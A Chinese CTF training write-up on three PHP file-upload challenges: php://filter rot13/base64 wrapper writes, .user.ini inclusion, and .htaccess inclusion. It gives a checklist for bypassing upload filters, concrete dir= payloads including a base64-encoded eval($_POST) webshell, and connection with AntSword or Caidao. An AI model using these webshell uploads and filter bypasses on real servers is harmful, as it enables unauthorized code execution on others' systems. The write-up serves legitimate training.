8月1日CTF文件上传训练

题记:
满足于只做出一道题的今天

一、伪协议上传

题目:
8月1日CTF文件上传训练_第1张图片
思路:
代码表示需要使用伪协议上传,且不能用base64
dir=php://filter/write=string.rot13/resource=file.php
制作rot13cmd.php
内容:


//的rot13编码

在dir处写payload:

php://filter/write=string.rot13/resource=upload/rot13cmd.php
//主要两点,一是上传文件名可以选择与上传文件同名,二是upload文件路径是注释提醒和自己测试出来的

步骤一:上传测试

if (strstr($dir, 'base')) {
        die("not use base");
    }
    @file_put_contents($dir, ''.file_get_contents($_FILES['file']['tmp_name']));
   //upload 
}  

题目中代码明确使用了提示可以使用伪协议进行操作
伪协议目前可构造以下两类,注意上传的php文件需提前编写好一句话木马并对应加密编译
base64:

dir = php://filter/write=convert.base64-decode/resource=upload/hack.php
//带上传其他附件的文本
dir=php://filter/write=convert.base64-decode/resource=upload/hack.php&file=aPD9waHAgQGV2YWwoJF9QT1NUWydjbDR5J10pOyA/Pg==
//不带附件,带file的

rot13:

dir = php://filter/write=string.rot13/resource=file.php
//带上传其他附件的文本
dir=php://filter/write=string.rot13/resource=file.php&txt=
//不带附件,带file的

因此,以rot13的加密方式编写rot13cmd.php
即将编译成
在dir中输入

php://filter/write=string.rot13/resource=upload/rot13cmd.php

最后!蚁剑或菜刀实现shell连接
8月1日CTF文件上传训练_第2张图片

二、.user.ini文件包含上传

题目:
8月1日CTF文件上传训练_第3张图片
思路:
上传各类文件进行检测,然后抓包,逐项排除问题
流程先type,然后文件头(1是GIF98A;
2是
#define width 1337
#define height 1337),再然后是修改后缀名(php2,php3,pht,phtml等),再然后是添加截断(仅适用于有dirupload地址的),最后是修改后缀名为指定后缀(然后配合.htaccess和.user.ini进行文件包含上传的)

步骤一:上传抓包

首先本题要求必须是jpg文件
8月1日CTF文件上传训练_第4张图片
经过上传后,爆出上传成功的地址

步骤二:添加ini文件

在抓包左边修改成如下内容
8月1日CTF文件上传训练_第5张图片
上传成功后就可以对文件进行木马操作了

步骤三:链接

打开菜刀进行链接,注意根据右边反馈的地址,链接应如下:
8月1日CTF文件上传训练_第6张图片

三、.htaccess文件包含上传

题目:
8月1日CTF文件上传训练_第7张图片
思路:
.htaccess文件包含上传的绕过,具体思路如上题

步骤一:上传测试

先制作三种一句话木马

1.
2.
3.

一般第一种就够用,但是一旦提出" 经过尝试,应为jsscript脚本类型与jpg格式,将一句话木马改成jpg后缀
进行抓包(注意点已标红
8月1日CTF文件上传训练_第8张图片
爆出上传地址:
/var/www/html/upload/762a0d349a4284a412d60a022fa01116/jsshell.jpg

步骤二:上传.htaccess文件

然后修改左边脚本为htaccess文件
8月1日CTF文件上传训练_第9张图片
注意,一定不能有GIF98A,如果提示不是jpg可添加#define width 1337
#define height 1337

步骤三:链接

8月1日CTF文件上传训练_第10张图片
8月1日CTF文件上传训练_第11张图片

本期总结

一、一句话木马一定要写对
二、上传文件一定要逻辑清晰,有先后顺序
三、网上资源缺乏

你可能感兴趣的:(笔记,shell)